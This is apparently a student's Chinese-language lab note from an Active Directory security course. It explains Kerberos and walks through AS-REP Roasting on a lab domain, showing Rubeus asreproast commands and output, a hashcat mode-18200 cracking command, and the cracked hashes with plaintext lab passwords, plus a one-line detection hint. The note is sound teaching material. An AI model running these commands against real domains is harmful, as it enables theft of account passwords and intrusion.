NTUSTISC - AD Note - Lab(AS-REP Roasting)
[TOC]
Lecture Video: 2022/05/11 AD 安全 2
Background
- 簡介:這是一種計算機網路授權協議,簡單說如果在同一個domain底下,想要存取某一個server的某項服務,則要如何驗證該使用者的身分以及授權他使用該項服務的資格?換個角度想,如果不認證會怎麼樣?首先,如果不認證使用者身分,就直接讓授權使用該項服務,則最直觀的攻擊就是DoS,或是駭客可以透過該項服務打到內網$\to$提權$\to$橫向移動$\to$APT,看起來很危險;另外一方面,如果有驗證身分,但通過驗證的人一率給予使用服務的授權,又會怎麼樣?可以利用eavesdropping得到授權的ticket再利用reply attack還是可以偽造身分
- 提醒:Windows Kerberos和MIT Kerberos在實作上有一點不一樣,如果想要知道windows kerberos可以看飛飛的文章12,然後自行比對粘添壽老師的影片
- MIT Kerberos架構:
為了防止前面提到的問題,他增加了一個TGS的Server,但純控管tickets的發放,另外在驗證上面也增加了timestamp和請求方的網路位址,這樣就可以防止reply attack,而且短時間內都不需要再進行身分認證,很方便
- Windows Kerberos架構:
- 優點
- 主密鑰分配:AS 伺服器除了必須擁有客戶的主密鑰之外,還必須擁有 TGS 的主密鑰;另外,TGS 伺服器也需要擁有所有伺服器的主密鑰。這就是 Kerberos 將所有參與者都稱為 Principal 的主要原因。
- 客戶密碼只要輸入一次:客戶端取得通往 TGS 的門票(TicketTGS)之後,在該票的有效期限之內,都可以請求服務,而不需要再輸入密碼來索取門票。
- 防禦偽裝攻擊:門票(TicketTGS與 TicketB)上有登錄該票的使用者識別(ID)、工作站位址(AD)、時間戳記(TS)與有效期間(Lifetime)。攻擊者攔截到門票之後,不易在在有效期內偽裝成合法客戶。
- 防止重播攻擊:門票有註明時間戳記(T),當攻擊者重播門票時,接收端可以利用時間戳記辨別門票的新舊。
Lab
==AS-REP Roasting==
- 攻擊情境:在Win2016的Server Manager中的Tools可以找到Active Directory User and Computer
在一般user的property中,可以看到Account/Account options最底下有一個選項==Do not require Kerberos preauthentication==,這個功能主要是前面提到的對於身分不會認證(1, 2步驟會略過,只執行3-6),他只會認證後面的ticket
雖然預設是不勾選,但有兩種情況會打勾
- 如果被駭客打進去到最高管理員,當然它會勾選這個功能方便搞事(所有帳號)
- 因為windows有分版本,如果要向下兼容各版本之間的認證,則該選項就一定要勾選(這也是為甚麼講師在前面有提到一定要升級AD的舊環境),這在很古老的系統中常常發生
- 滿足條件:只要前面提到的功能被打開,就可以進行AS-REP Roasting
- 如何攻擊:
- 自己把Microsoft的document看懂如何pack一個packet,然後自己實作
- 另一種方式就直接用工具Rubeus 1.6.4,他可以直接把有勾選該項目的帳號,送出AS-REQ的請求,然後接收AS-REP的回應,並把接收到的tickets以你指定的格式印出來
- Cheat Sheet:
1
2$ Rubeus.exe asreproast $ Rubeus.exe asreproast /format:hashcat /outfile:out.txt
實際執行
- Using Rubeus.exe :::spoiler Result ```bash! $ Rubeus.exe asreproast
(___ \ | | __) ) | |__ ___ _ _ ___ | __ /| | | | _ | ___ | | | |/) | | \ | || | |) ) __| || | | || ||__/|/|)/(__/
v1.6.4
[*] Action: AS-REP roasting
[*] Target Domain : kuma.org
[] Searching path ‘LDAP://WIN-818G5VCOLJO.kuma.org/DC=kuma,DC=org’ for AS-REP roastable users [] SamAccountName : reyna.gwendolyn [] DistinguishedName : CN=Reyna Gwendolyn,CN=Users,DC=kuma,DC=org [] Using domain controller: WIN-818G5VCOLJO.kuma.org (192.168.222.128) [] Building AS-REQ (w/o preauth) for: ‘kuma.org\reyna.gwendolyn’ [+] AS-REQ w/o preauth successful! [] AS-REP hash:
1 |
|
[] SamAccountName : henrieta.sabine [] DistinguishedName : CN=Henrieta Sabine,CN=Users,DC=kuma,DC=org [] Using domain controller: WIN-818G5VCOLJO.kuma.org (192.168.222.128) [] Building AS-REQ (w/o preauth) for: ‘kuma.org\henrieta.sabine’ [+] AS-REQ w/o preauth successful! [*] AS-REP hash:
1 |
|
[] SamAccountName : giulietta.moyra [] DistinguishedName : CN=Giulietta Moyra,CN=Users,DC=kuma,DC=org [] Using domain controller: WIN-818G5VCOLJO.kuma.org (192.168.222.128) [] Building AS-REQ (w/o preauth) for: ‘kuma.org\giulietta.moyra’ [+] AS-REQ w/o preauth successful! [*] AS-REP hash:
1 |
|
- Using Hashcat
可以直接在Kali使用hashcat,不過我是直接在windows上操作,可以參考3,講解的非常詳細
$ hashcat.exe -m 18200 -a 3 ".\Kerberos-AS-REP.txt" -o output.txt
Output Result
$krb5asrep$23$giulietta.moyra@kuma.org:eb292e4b9e547357db6500d982df775b$2def9955e12f072fdc189adcde61dbff3939f7cfda5c84583c78335edfff1c5d246e3c311b991e26c0ca7afbb97757a2751a521b596e9da9a3ffcbec31205b61e45473cfbff58046f5a9759aa186ebbb90894749b2f0cbd91d6558e8f0750aab7c0b46d8947f843327f9dceb94c4b4043ee902856f3c01493e353c28cd956aaa0c58c6ded536e11855d4584aeed3486e379f91199eb96808631f2b72f0443e637cc66268bc8dd87528daf96b28de8fbccae28aa52b38f5069e5aa2c9b4dd9e21ed77ac30d6602459376a8a791d133f577024c43cae1ac8bd973d39e191ba535c0f660b0e:willow
$krb5asrep$23$reyna.gwendolyn@kuma.org:ef97037a66f7cedcacf9aeae90e8d8cc$930cc1157dfee8d506c728f11184963e4011a0254ea83428aaf529de9c2a10c533ff12c0b6f519aad9c65a7fa6a645e6552f57936001c8b8011bbf1f3f93981bd6126befb0dd74b1df7930336f240f623d1d9e53bbb5e37864559d37ee3f1a0edd319a7252a3b6bab5b50d81967abc630eccb804dd200218b7222914776d71387c2916353c3475426515aaa5b95108b9e9ae68c8ece2dfeeaf7836dd9f3778c49c4090850925332470b9eab9c77c4549237a17f58e41b0b09a1be6a99827f5b14d78a734300bb08056c40a28b6f69fa2c7b72afa7d18d831631b19b7cbcc5a6dc928d66d:edward
$krb5asrep$23$henrieta.sabine@kuma.org:cef1cda05e49376d4749ace914595ea1$43d6d77a9de81c2e1c6a00fd7ea6bbb2dc087e26568ae31ab08f2b6887ccfa427ca59fab8dd7bd69d3c2b13b5f1c4ec2dff56f975940d1096eac8bca440c5adafa49e5e8b57d3cc7fddf83a71fef5353a3e3e2a85a6269a39a007bd5272ef40ba721b30313a2054d684e8efe81b214a79af9e1d5d75b1746070486a0d90e79123d1c881a56d190a7c76f1ad951695faee37f64f7f063fd38f2d7af0476747d10c5d16540c34396a0e752aaa820b4147396829affd62b99de0fa6fd0fba13a5271d5fd8b6484a7e9ef52526d0b6cef84f1ab4c939dc977e967bd12c98ca6fb55508d1a770:therock
這三者的密碼就被爆出來了,分別是 giulietta.moyra$\to$willow reyna.gwendolyn$\to$edward henrieta.sabine$\to$therock
==How to detect it?==
Event ID: 4768(預設不開,因為在一般中大型公司中,開了這個所收到的event會超多,所以除非做好filter不然一般不開)